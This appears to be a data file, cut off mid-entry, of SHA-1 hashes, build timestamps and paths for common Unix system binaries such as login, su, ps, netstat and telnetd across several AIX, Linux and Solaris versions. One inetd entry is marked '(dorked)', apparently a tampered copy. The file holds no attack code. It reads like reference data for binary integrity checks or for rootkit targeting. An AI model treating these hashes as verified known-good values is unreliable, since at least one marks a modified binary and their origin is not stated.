+6FBB6DF431B252522CB6125E38BA4E60C6524D74 Tue Feb 6 16:28:16 2007 /bin/ls [AIX 5.3] +6FBB6DF431B252522CB6125E38BA4E60C6524D74 Tue Feb 6 16:28:16 2007 /usr/bin/ls [AIX 5.3] +5166D0A317E169E7F728377CF50C2CD3C7729D4B Tue Feb 6 23:02:45 2007 /bin/w [AIX 5.3] +5166D0A317E169E7F728377CF50C2CD3C7729D4B Tue Feb 6 23:02:45 2007 /usr/bin/w [AIX 5.3] +BCDE5A7BE9B2C4FCD8D1BA5F6A23C7E8AD727125 Tue Feb 6 23:43:12 2007 /usr/sbin/arp [AIX 5.3] +61224C039DA1CCFA45EE6500623914897F28DCF9 Thu Feb 8 02:52:48 2007 /usr/sbin/inetd [AIX 5.3] +C1D1FD891F975D4368F41E90796912758F457555 Thu Feb 8 03:33:44 2007 /usr/sbin/krlogind [AIX 5.3] +872BCE599F06B673C90BCD2A8F7D6938F7564C10 Thu Feb 8 03:33:32 2007 /bin/telnet [AIX 5.3] +872BCE599F06B673C90BCD2A8F7D6938F7564C10 Thu Feb 8 03:33:32 2007 /usr/bin/telnet [AIX 5.3] +0A7EA67D00BB377BF8029CD37A80870C26549796 Thu Feb 8 03:33:41 2007 /usr/sbin/rlogind [AIX 5.3] +8C3D0B0654D7C18CD20D75D8ADEAC6EFE37F99B1 Thu Feb 8 03:33:42 2007 /usr/sbin/telnetd [AIX 5.3] +43DEC4224F427869DD80FD4592E94556233BE155 Thu Feb 8 03:33:43 2007 /usr/sbin/tftpd [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /usr/sbin/login [AIX 5.3] +14908F9394284BCA6E936CD8A04D862204386B7A Sun Feb 11 17:19:01 2007 /bin/su [AIX 5.3] +14908F9394284BCA6E936CD8A04D862204386B7A Sun Feb 11 17:19:01 2007 /usr/bin/su [AIX 5.3] +E6E9F93E05BB21DFC201A24907DA010B8CCBA2A6 Sat Mar 10 08:11:20 2007 /bin/find [AIX 5.3] +E6E9F93E05BB21DFC201A24907DA010B8CCBA2A6 Sat Mar 10 08:11:20 2007 /usr/bin/find [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /usr/sbin/netstat [AIX 5.3] +341F58858948F57B59755FAFBC379C9185233018 Fri Mar 23 15:57:50 2007 /usr/sbin/krshd [AIX 5.3] +7916ACE364465D913F9E345FA82B1407E58DFC31 Fri Mar 23 15:57:43 2007 /usr/sbin/rshd [AIX 5.3] +F98385E8FE9572E9BA8C5D5FBEEB76B29E119B8F Wed Apr 11 16:55:16 2007 /usr/sbin/ftpd [AIX 5.3] +F2BADA6D9F40ECF97594B366C31DA0581306DDEC Wed Apr 11 17:50:24 2007 /bin/ps [AIX 5.3] +F2BADA6D9F40ECF97594B366C31DA0581306DDEC Wed Apr 11 17:50:24 2007 /usr/bin/ps [AIX 5.3] +58E5BC5BB8F82B71C81195A9E45FB31FE724BB67 Thu Apr 19 03:58:06 2007 /bin/sh [AIX 5.3] +58E5BC5BB8F82B71C81195A9E45FB31FE724BB67 Thu Apr 19 03:58:06 2007 /usr/bin/sh [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /bin/login [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /usr/bin/login [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /bin/netstat [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /usr/bin/netstat [AIX 5.3] + +B5421C7136BA8A71EBAC16189B1E0F4B3F493268 Sat Mar 18 23:29:36 2006 /usr/sbin/arp [Debian 4.0 x86_64] +6592B55B5AEB7549D8D166354B25D575C9FE27FA Sat Mar 18 23:29:36 2006 /bin/netstat [Debian 4.0 x86_64] +6107A180159C275812E934CBF9B27053719F5373 Sun Aug 6 08:38:05 2006 /usr/bin/find [Debian 4.0 x86_64] +6780289A1753F1626EC399EB7D80EEDA9F85838B Wed Sep 13 02:23:18 2006 /bin/ps [Debian 4.0 x86_64] +9968A881BAF76776C9CAB5E0FF3F23E3D3A29618 Tue Jan 30 20:38:21 2007 /bin/rm [Debian 4.0 x86_64] +529BF1A78A4FA66B00307CFE89E341FE3BEA28B3 Tue Jan 30 20:38:21 2007 /bin/ls [Debian 4.0 x86_64] +46C2766B217F3DCBC2010B6210CBADE6CFA01968 Sun Feb 18 18:49:14 2007 /sbin/modinfo [Debian 4.0 x86_64] +268609A5848AF29523939D01F8EAAB9D0FC2843B Tue Feb 27 19:13:08 2007 /bin/su [Debian 4.0 x86_64] +D47E3EFEBA54C6C7E55CCE4AB85FD415E15A6FDC Tue Feb 27 19:13:08 2007 /bin/login [Debian 4.0 x86_64] +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Mon Mar 12 02:20:07 2007 /usr/sbin/update-inetd [Debian 4.0 x86_64] +999E3D77AB22BD35702FE9C155DEF77087D73AA5 Wed Mar 21 18:21:22 2007 /usr/sbin/inetd [Debian 4.0 x86_64] +53B60118A12EB129C584B58191CDFC2808169FC9 Mon Dec 11 22:28:19 2006 /bin/sh [Debian 4.0 x86_64] +B1B658F6D586E9931A5AC3BDC9E936442049E0A8 Wed Sep 13 02:23:18 2006 /usr/bin/w [Debian 4.0 x86_64] +742C78DB601AF885C66585D593E5A2FD672812A0 Sat Nov 18 09:37:30 2006 /usr/bin/telnet [Debian 4.0 x86_64] + +1E708BE90ADC1EC4BF14082E26BB545A4F730AFA Tue Feb 17 18:59:22 2004 /usr/sbin/xinetd [Fedora 2] +7007192E9C4B72C24E6A0EA3DF4278AE7526A5E8 Wed Feb 18 20:13:41 2004 /usr/bin/telnet [Fedora 2] +009CFC3C5E1A3F1BCD2E992619E3E62E4C1A8570 Fri Mar 5 06:04:45 2004 /usr/bin/w [Fedora 2] +6540C6C30B279D372233D0A549029054C04BC76D Fri Mar 5 06:04:44 2004 /bin/ps [Fedora 2] +81792E0FCC14C5BB86F3BC45F12BD96EC20016E2 Mon Mar 15 22:02:01 2004 /usr/bin/find [Fedora 2] +4C82AE542D0F48641E91876AA57FF6AD7E5B1247 Thu Apr 15 16:08:06 2004 /sbin/arp [Fedora 2] +AC1996350D770D7F2E6C29571E2448E8539CFB12 Thu Apr 15 16:08:06 2004 /bin/netstat [Fedora 2] +31639278A178E591DF0BF9B99516E89F52C6D864 Tue May 4 16:25:57 2004 /bin/su [Fedora 2] +49CC82CCFABB3E94D109FB91E6F5F5DDD4DB97C2 Tue May 4 16:26:05 2004 /bin/rm [Fedora 2] +754B0CDD2D9FED234A8D9964D45DB46504110694 Tue May 4 16:26:05 2004 /bin/ls [Fedora 2] +723D4A0904D1B71EA2F851DCB5407DB4CA6E98A4 Tue May 4 21:34:53 2004 /bin/login [Fedora 2] +7626975F9C94F1689371C54DB6405D4102952631 Wed May 5 05:38:36 2004 /sbin/modinfo [Fedora 2] +68E5D269191506A40163D6A2F0717B4F9959227A Thu Mar 11 11:19:36 2004 /bin/sh [Fedora 2] + +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /bin/login [AIX 5.1] +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /usr/bin/login [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /bin/netstat [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /usr/bin/netstat [AIX 5.1] +D0B7A8655F67E58C395CD0AFD6340A34743C919F Sun Apr 8 09:18:42 2001 /bin/su [AIX 5.1] +D0B7A8655F67E58C395CD0AFD6340A34743C919F Sun Apr 8 09:18:42 2001 /usr/bin/su [AIX 5.1] +29854B935D9937CC95C4C443D129D4ABB9314D83 Sun Apr 8 09:30:53 2001 /usr/sbin/arp [AIX 5.1] +D48E2BFB35955DEB7927EFFC5DFB47A5B4F0DAC6 Sun Apr 8 09:35:51 2001 /bin/ps [AIX 5.1] +D48E2BFB35955DEB7927EFFC5DFB47A5B4F0DAC6 Sun Apr 8 09:35:51 2001 /usr/bin/ps [AIX 5.1] +87F92DAE2CA7C2BB075D30224767CB361825A935 Sun Apr 8 09:44:19 2001 /bin/sh [AIX 5.1] +87F92DAE2CA7C2BB075D30224767CB361825A935 Sun Apr 8 09:44:19 2001 /usr/bin/sh [AIX 5.1] +434DF292C74FD538004376549ACDDDC374D3B8F8 Sun Apr 8 09:50:58 2001 /bin/find [AIX 5.1] +434DF292C74FD538004376549ACDDDC374D3B8F8 Sun Apr 8 09:50:58 2001 /usr/bin/find [AIX 5.1] +1C4935662987B9D9EB8550C5471DBA44F1DE4580 Sun Apr 8 09:50:12 2001 /bin/rm [AIX 5.1] +1C4935662987B9D9EB8550C5471DBA44F1DE4580 Sun Apr 8 09:50:12 2001 /usr/bin/rm [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /usr/sbin/netstat [AIX 5.1] +DCD3D5E6281879BBB1DA30E51620933A791C2D88 Sun Apr 8 10:03:37 2001 /bin/w [AIX 5.1] +DCD3D5E6281879BBB1DA30E51620933A791C2D88 Sun Apr 8 10:03:37 2001 /usr/bin/w [AIX 5.1] +40A0C2A98FE0996649053FCC94DA0B6158C09868 Sun Apr 8 10:13:59 2001 /bin/ls [AIX 5.1] +40A0C2A98FE0996649053FCC94DA0B6158C09868 Sun Apr 8 10:13:59 2001 /usr/bin/ls [AIX 5.1] +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /usr/sbin/login [AIX 5.1] +9A2E54B4218523D49C9F3067BE816527DFA3E539 Sun Apr 8 12:42:54 2001 /bin/telnet [AIX 5.1] +9A2E54B4218523D49C9F3067BE816527DFA3E539 Sun Apr 8 12:42:54 2001 /usr/bin/telnet [AIX 5.1] +64B56243AF056DC313D55D544F3F6C3F9573900F Sun Apr 8 12:45:21 2001 /usr/sbin/rlogind [AIX 5.1] +522D9D013A00AD419EB990E0BC651836C5D38A7B Sun Apr 8 12:45:06 2001 /usr/sbin/ftpd [AIX 5.1] +F236BD5B1C6906944115DA48EAE4F8CEF1819344 Sun Apr 8 12:46:27 2001 /usr/sbin/telnetd [AIX 5.1] +F6685922DC8B55B642285CC67584C92FFB64BAE7 Sun Apr 8 12:47:31 2001 /usr/sbin/krlogind [AIX 5.1] +8EBA5F0B21232178803295C47D3AC844999A5688 Sun Apr 8 12:47:21 2001 /usr/sbin/tftpd [AIX 5.1] +24D69543038C368A3DA7D43952C93BE366B781A6 Sun Apr 8 12:48:19 2001 /usr/sbin/rshd [AIX 5.1] +497988E990E25B7512D2EE887A30E744E6605BEA Sun Apr 8 12:48:57 2001 /usr/sbin/krshd [AIX 5.1] +A6DC376B81619597F495BE594E5C612103377B15 Tue May 4 17:25:26 2010 /usr/sbin/inetd [AIX 5.1 (dorked)] + +B7A2C960FD08C475D6724D8C7C9E1E54452CA423 Thu Jul 13 15:58:33 2006 /usr/bin/find [Fedora 6] +9248E4C55B85D9988E3285CEBAC8BECE224322AF Fri Jul 14 11:25:26 2006 /usr/bin/telnet [Fedora 6] +CAB725FC91D528CFFF2C50EB4854499541C811B2 Thu Aug 3 00:21:53 2006 /sbin/modinfo [Fedora 6] +59B5D186EC396D07FCFCA1FCA2210A0113B7DEA3 Mon Aug 7 11:18:31 2006 /sbin/arp [Fedora 6] +3F2AA0BCAFB3AE1E4D6B73D90691400BD8EF6A0A Mon Aug 7 11:18:31 2006 /bin/netstat [Fedora 6] +F4239C987D333F4D6BD1898D841E5BE4C6723AA8 Wed Sep 27 15:40:10 2006 /usr/bin/w [Fedora 6] +C8314C7251B1BD592058F2C9F71B5AFF0D723ED7 Wed Sep 27 15:40:09 2006 /bin/ps [Fedora 6] +B81965841649EFD2BB0CC3C992A77DB8267C0883 Thu Sep 28 12:32:17 2006 /bin/su [Fedora 6] +AF076AC18804AD90C90C8F00E5F5528294D7D250 Thu Sep 28 12:32:23 2006 /bin/rm [Fedora 6] +3CD5580459B8E7ABC3932BFB7E33EBCFA702F67B Thu Sep 28 12:32:23 2006 /bin/ls [Fedora 6] +3ADD39DBE5D21D6A75219FFDBF7A6313FDE5FA5B Thu Oct 12 10:14:43 2006 /bin/login [Fedora 6] +67FDB86FE423DFEB9F34423B648BF4D49DD1E607 Wed Jul 12 07:11:53 2006 /bin/sh [Fedora 6] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.3 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.3 x86_64] +B9919ED9D91FE984427EBE3A3E486EDC12A53AC4 Thu May 3 13:29:16 2007 /usr/bin/find [SuSE Enterprise 10.3 x86_64] +F9AB14F68DD8A5990226436E50C4610D52CE8AC1 Sat Sep 5 10:30:18 2009 /sbin/arp [SuSE Enterprise 10.3 x86_64] +71C1F800342C11E11860F49BD1FDEDB4A02527EB Sat Sep 5 10:30:18 2009 /bin/netstat [SuSE Enterprise 10.3 x86_64] +12EA11344F7FDED1D916E08890C5EE3DE1D437D2 Sat Sep 5 10:35:13 2009 /usr/sbin/xinetd [SuSE Enterprise 10.3 x86_64] +B4140D41278228EAF7329AF5861AA96CC30BB7C3 Sat Sep 5 10:36:46 2009 /bin/su [SuSE Enterprise 10.3 x86_64] +E49088C6F744B035477DAAE6ABF4F571FB24E44D Sat Sep 5 10:36:46 2009 /bin/rm [SuSE Enterprise 10.3 x86_64] +0F643DCCDDDD08564FDB025B379473AC9C112495 Sat Sep 5 10:36:46 2009 /bin/ls [SuSE Enterprise 10.3 x86_64] +3F0FFDDB5F150B1306F2359D1ABB01CFDC41E006 Sat Sep 5 11:11:30 2009 /bin/login [SuSE Enterprise 10.3 x86_64] +9B439F7267662C698EB81C024154EAECEC794A64 Sun Sep 6 22:11:52 2009 /sbin/modinfo [SuSE Enterprise 10.3 x86_64] +97E8E4CD45B0C83C577A90ABC1273F7FD3C6E0D3 Mon Sep 14 14:35:04 2009 /usr/bin/w [SuSE Enterprise 10.3 x86_64] +9156C5AF4A6AE53C8E54E38D6139984564D5D0AD Mon Sep 14 14:35:04 2009 /bin/ps [SuSE Enterprise 10.3 x86_64] +56098E13A39056983102B0157004164498F5F8DB Sat Sep 5 10:28:56 2009 /bin/sh [SuSE Enterprise 10.3 x86_64] +245C64AB0E7D074B2BA9460EA687EBBA116F2F60 Sat Sep 5 10:35:13 2009 /usr/sbin/rcxinetd [SuSE Enterprise 10.3 x86_64] + +DC294A39E6BEF72CCB7636D150A0EB06F769BBE9 Sat Jun 2 04:28:26 2001 /usr/bin/find [Debian 3.0] +6CB9FE0BB54A54C8CADBD19F7CE290314420DB7B Sat Oct 27 21:27:05 2001 /bin/ps [Debian 3.0] +CD892F35A19FF694DCFC8D34D99AE009F43ADBEA Sun Nov 18 14:09:04 2001 /usr/sbin/update-inetd [Debian 3.0] +B57C42B5859F76BE7A55BB6134D1EC825E2259E1 Sun Nov 18 22:29:26 2001 /usr/sbin/inetd [Debian 3.0] +66F39228743CACC02276CC57329A5A0812BF9B15 Sat Nov 24 05:59:16 2001 /usr/sbin/arp [Debian 3.0] +7C1B3DF2A3760FCEF4EF19182F60A223CBCFBAB5 Sat Nov 24 05:59:16 2001 /bin/netstat [Debian 3.0] +1BF4677C61236901CA16F92EE94B714FC24FAFA3 Mon Mar 18 15:10:01 2002 /bin/rm [Debian 3.0] +D95601C5E00148BA6ECC8B567715E3F3A8F42FBA Mon Mar 18 15:10:01 2002 /bin/ls [Debian 3.0] +1C7A4596BC163483BB578A699A83AF5AD286542D Sun Mar 24 14:27:08 2002 /sbin/modinfo [Debian 3.0] +A63DD306549301D682DB8F9EBB7843135CE33C90 Sat Apr 6 23:42:16 2002 /usr/sbin/in.telnetd [Debian 3.0] +4ADB2455388512E759E86648C1719091E2A2845E Sun Apr 7 15:59:14 2002 /bin/su [Debian 3.0] +DA7E65615824609B181AF98115AD097DF27EE728 Sun Apr 7 15:59:14 2002 /bin/login [Debian 3.0] +FB2553B42DE2203EBA9A04A865F4BDE2A0C77E0E Thu Apr 18 09:19:26 2002 /usr/sbin/in.ftpd [Debian 3.0] +2F65573F55BA80DD8FAD67435E6F20D413357C28 Mon Apr 8 19:07:32 2002 /bin/sh [Debian 3.0] +CD358A85E8150B6C171C25748903E8FEC88DC14E Sat Oct 27 21:27:05 2001 /usr/bin/w [Debian 3.0] +17C10C8D8776A1074D52B4F7C4CE731E1EFD1107 Sat Apr 6 23:42:16 2002 /usr/bin/telnet [Debian 3.0] + +4522876648C2BD295095D6B0A051CC6063B1E2C8 Tue Sep 23 01:28:25 1997 /usr/sbin/in.tftpd [RedHat 5.0] +0DB3CDAEF3B2AB1618D2D327B8F1D80228A6964C Tue Oct 14 16:22:03 1997 /usr/sbin/in.rshd [RedHat 5.0] +CAE51054531E2760F20278833A729918772B5904 Tue Oct 14 16:22:03 1997 /usr/sbin/in.rlogind [RedHat 5.0] +9D6F6D4C09A2F3797A046A37DC93E3777BD64DA5 Thu Oct 23 01:36:01 1997 /bin/login [RedHat 5.0] +3C699964F17EE96CB428E445E55C89FAF05969D5 Thu Oct 23 01:52:27 1997 /bin/rm [RedHat 5.0] +6D47127BA7B756DB699CFBA418164B0A74576948 Thu Oct 23 01:52:27 1997 /bin/ls [RedHat 5.0] +230E6757934BDED017C026D13B32722CCAEA09D9 Thu Oct 23 02:04:22 1997 /sbin/arp [RedHat 5.0] +816D8546C786FB564C8C64988C18190606DB6702 Thu Oct 23 02:04:22 1997 /bin/netstat [RedHat 5.0] +5B0BF6910494A5F9803FEC2385FEC990F42C023F Mon Oct 27 16:30:03 1997 /bin/su [RedHat 5.0] +FC000D8F6DD66A98F7AAFAD667F094A6470CA889 Wed Oct 29 20:29:57 1997 /usr/sbin/in.telnetd [RedHat 5.0] +243C7B28A4328EBC49B39AE413EEFB63288EE435 Wed Oct 29 20:29:57 1997 /usr/bin/telnet [RedHat 5.0] +75812D32F72E56C7ED4CE3289E9C3B521ABB786D Thu Oct 30 15:43:52 1997 /usr/sbin/inetd [RedHat 5.0] +E4E5F95CB75011E9D58B4381C6416A5B2E1D3221 Fri Oct 31 22:08:40 1997 /usr/sbin/in.ftpd [RedHat 5.0] +9CF9654F9960A27562FFF8E7C5BCEEF2E4C6044D Tue Nov 4 15:20:55 1997 /bin/ps [RedHat 5.0] +BADD4232957FB8B5F34BBD63C7A7FADAA9B8EE55 Tue Nov 4 15:20:55 1997 /usr/bin/w [RedHat 5.0] +29209A24423498BB6EDBCF9A085F155DE7BC7F0A Sun Nov 9 23:24:43 1997 /usr/bin/find [RedHat 5.0] +48A9B236D43D6C3F3F3F4262A41599CB91D48F88 Fri Nov 7 19:13:27 1997 /bin/sh [RedHat 5.0] + +888F1AC6CF497C6A240420FE0F86C77141DF13DD Fri Sep 21 19:11:29 2007 /sbin/modinfo [SuSE 10.3 x86_64] +88E77B0F53ED4680178CA034F40BCF183C8CA863 Fri Sep 21 19:13:15 2007 /usr/bin/telnet [SuSE 10.3 x86_64] +F347BDCA827A5ECAF3067A863C4A0FBA7C3B91D3 Fri Sep 21 19:14:11 2007 /usr/bin/w [SuSE 10.3 x86_64] +AC487F08E40F1DB079D7EAA665EB9CDC5E7D6D68 Fri Sep 21 19:14:11 2007 /bin/ps [SuSE 10.3 x86_64] +045ED43371065359C0F33B2A676C10CF2AC0D60B Fri Sep 21 19:15:17 2007 /usr/bin/find [SuSE 10.3 x86_64] +8ED7EA60AB6C8AB1392F3264098F19D6FA0E09C7 Fri Sep 21 19:24:28 2007 /sbin/arp [SuSE 10.3 x86_64] +2335946717062AB143A0903EABE14D8DB73C60E7 Fri Sep 21 19:24:27 2007 /bin/netstat [SuSE 10.3 x86_64] +F4F2D4BFEAB8190A22D2F90E9D7EC138DC0DF852 Fri Sep 21 19:27:00 2007 /usr/sbin/xinetd [SuSE 10.3 x86_64] +E4F42A457E232C936740A0B54264F5AB25C7E26C Fri Sep 21 19:43:50 2007 /bin/su [SuSE 10.3 x86_64] +642FC1770A5AF3CC5FB0313BF4F00B377D59A5FD Fri Sep 21 19:43:50 2007 /bin/rm [SuSE 10.3 x86_64] +A4397EC9FF56B5362408E432CBDC7912960FD5B1 Fri Sep 21 19:43:50 2007 /bin/ls [SuSE 10.3 x86_64] +81909C216134962322DD092947731982A242DE92 Fri Sep 21 21:06:58 2007 /bin/login [SuSE 10.3 x86_64] +51E64C45FACA5E74EDFA7D1CD5AE07C8DD5C5D43 Fri Sep 21 19:23:27 2007 /bin/sh [SuSE 10.3 x86_64] +51E64C45FACA5E74EDFA7D1CD5AE07C8DD5C5D43 Fri Sep 21 19:23:27 2007 /usr/bin/sh [SuSE 10.3 x86_64] +5419E821FD9EE9856B1B8FDD7A9AD8CED9BD3FB4 Fri Sep 21 19:27:00 2007 /usr/sbin/rcxinetd [SuSE 10.3 x86_64] + +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.4] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.4] +E0438A3A32C17BAB60BB4B2F0AA54D3331409101 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.4] +4627A1DD4C38E988D84520F456823CF40B6A56C2 Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.4] +26BF46A9CC3D129EBBA5E81C4FE32A844E5C037F Wed Dec 3 10:32:54 2008 /usr/bin/w [RedHat Enterprise 5.4] +EA07C645BF69A428A3EE410301109EDE94229B1B Wed Dec 3 10:32:54 2008 /bin/ps [RedHat Enterprise 5.4] +EA8DFDE42204B43AABC508B91D3150CA3222101A Tue May 19 13:50:48 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.4] +0291A3AB25836070972937B233F6F825191D8201 Fri Jul 3 11:17:55 2009 /bin/login [RedHat Enterprise 5.4] +C64443E2096EB4D728427B822DF12465C62FAEA3 Sat Jul 4 02:36:20 2009 /sbin/modinfo [RedHat Enterprise 5.4] +820B7251149D3CB720A2934963FA2D20EA1152B8 Mon Jul 13 10:21:23 2009 /bin/su [RedHat Enterprise 5.4] +8B8212BFEB1F8E86621CA30B3BFB626847C02E5D Mon Jul 13 10:21:26 2009 /bin/rm [RedHat Enterprise 5.4] +3ECAA7D3EEA46B758DFEFE216ABE7EE23DED3AAB Mon Jul 13 10:21:26 2009 /bin/ls [RedHat Enterprise 5.4] +3393449850EA8B9A8347DC1BF6575A02C53B3877 Tue Jul 14 10:31:44 2009 /usr/bin/find [RedHat Enterprise 5.4] +2A684A10C8F17707A2B20C40738AC1C53883AE04 Tue Oct 21 12:13:16 2008 /bin/sh [RedHat Enterprise 5.4] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.0 x86_64] +C2A56DBC77E2366D4CA8B4253631D6087FE674B8 Fri Jun 16 14:16:11 2006 /usr/sbin/xinetd [SuSE Enterprise 10.0 x86_64] +0250A33BD46C74203072903427509730E86C290F Fri Jun 16 14:25:39 2006 /usr/bin/find [SuSE Enterprise 10.0 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.0 x86_64] +7562669FC11732D72145F2AA07F9BC8D00786334 Fri Jun 16 14:34:13 2006 /sbin/arp [SuSE Enterprise 10.0 x86_64] +8209995613567B78CA0CE055BB1488281D1A861C Fri Jun 16 14:34:12 2006 /bin/netstat [SuSE Enterprise 10.0 x86_64] +62A280100C1F817C1A2B77AE0D0A99A2C6DB4860 Fri Jun 16 14:37:14 2006 /usr/bin/w [SuSE Enterprise 10.0 x86_64] +C24AD2A3379460850A8B417DA9665EE0C32EC847 Fri Jun 16 14:37:14 2006 /bin/ps [SuSE Enterprise 10.0 x86_64] +C4390D7F5A0DDC0028CA90F8D8DD4BAAF11F2B8E Fri Jun 16 15:06:39 2006 /bin/su [SuSE Enterprise 10.0 x86_64] +7A43A75FAA192A4E8B40818B1BBFFE81F1C58F8E Fri Jun 16 15:06:39 2006 /bin/rm [SuSE Enterprise 10.0 x86_64] +D2987B580F54E9B907AB976D2DA870FC2569786C Fri Jun 16 15:06:39 2006 /bin/ls [SuSE Enterprise 10.0 x86_64] +EBADB96D583E82FEF8E95CFAA4F238AB9043E553 Fri Jun 16 17:49:29 2006 /sbin/modinfo [SuSE Enterprise 10.0 x86_64] +27F63D5C1893FFEE87767C3DECA49810833AC695 Fri Jun 16 18:11:07 2006 /bin/login [SuSE Enterprise 10.0 x86_64] +D3434A7FE4F90C0F1BAFEDE9B40FF0C39E02C04C Fri Jun 16 13:58:27 2006 /bin/sh [SuSE Enterprise 10.0 x86_64] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 14:16:11 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.0 x86_64] + +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/ps [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/w [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/ps [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/w [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/ps [Solaris 2.8 Generic_117351-53 x86] +9C05ABE244AABF1B8775D4163ABA08583BFC04F3 Wed Jan 5 22:27:48 2000 /usr/sbin/arp [Solaris 2.8 Generic_117351-53 x86] +6EA87DEFC1D74A3D82C20EE7B423CD1C73C91FD4 Wed Jan 5 22:27:50 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic_117351-53 x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /bin/ls [Solaris 2.8 Generic_117351-53 x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /usr/bin/ls [Solaris 2.8 Generic_117351-53 x86] +AC4A5636FE6E800668E736FC22E6A270B8924C97 Wed Jan 5 22:45:43 2000 /usr/sbin/modinfo [Solaris 2.8 Generic_117351-53 x86] +35D4FB933BCFD37F981F55339195F392CA715B1A Wed Jan 5 23:04:55 2000 /usr/bin/i86/w [Solaris 2.8 Generic_117351-53 x86] +8DD28E646113245EEC7DDB0894C60A6A0487FF1F Wed Jan 5 23:14:36 2000 /usr/ucb/ls [Solaris 2.8 Generic_117351-53 x86] +1FE034C41BC744FBE0E87E01E04BFCBF1CBE68AE Thu May 24 22:56:20 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic_117351-53 x86] +257C4EAE52056277EFA60A7457F6D2411BF700D7 Tue Jul 10 17:22:52 2001 /usr/sbin/in.tftpd [Solaris 2.8 Generic_117351-53 x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /bin/find [Solaris 2.8 Generic_117351-53 x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /usr/bin/find [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /bin/netstat [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /usr/bin/netstat [Solaris 2.8 Generic_117351-53 x86] +C785B8758DAF6A5A9EABE22153879831BFBD3068 Fri Mar 25 23:09:27 2005 /usr/sbin/in.telnetd [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /bin/telnet [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /usr/bin/telnet [Solaris 2.8 Generic_117351-53 x86] +09567A528870740EAC5CA25DB701AD4CCA3CEC45 Thu Mar 9 10:19:33 2006 /sbin/sh [Solaris 2.8 Generic_117351-53 x86] +358A0E83F4C3A838E2372F667F425C898E7F664F Thu Mar 9 10:19:33 2006 /bin/sh [Solaris 2.8 Generic_117351-53 x86] +358A0E83F4C3A838E2372F667F425C898E7F664F Thu Mar 9 10:19:33 2006 /usr/bin/sh [Solaris 2.8 Generic_117351-53 x86] +0483DED9E5CAF38389F6904678F62589D3D26D99 Sun Jan 14 18:56:09 2007 /bin/rm [Solaris 2.8 Generic_117351-53 x86] +0483DED9E5CAF38389F6904678F62589D3D26D99 Sun Jan 14 18:56:09 2007 /usr/bin/rm [Solaris 2.8 Generic_117351-53 x86] +F159DD18CBB8B4E0A57AED70F1D1F5EC69FCF52D Thu Mar 22 15:44:31 2007 /usr/bin/i86/ps [Solaris 2.8 Generic_117351-53 x86] +FE90381A85C60DDE1378E6E491CF4F83B71A3DC8 Mon Jun 11 17:05:28 2007 /usr/sbin/in.ftpd 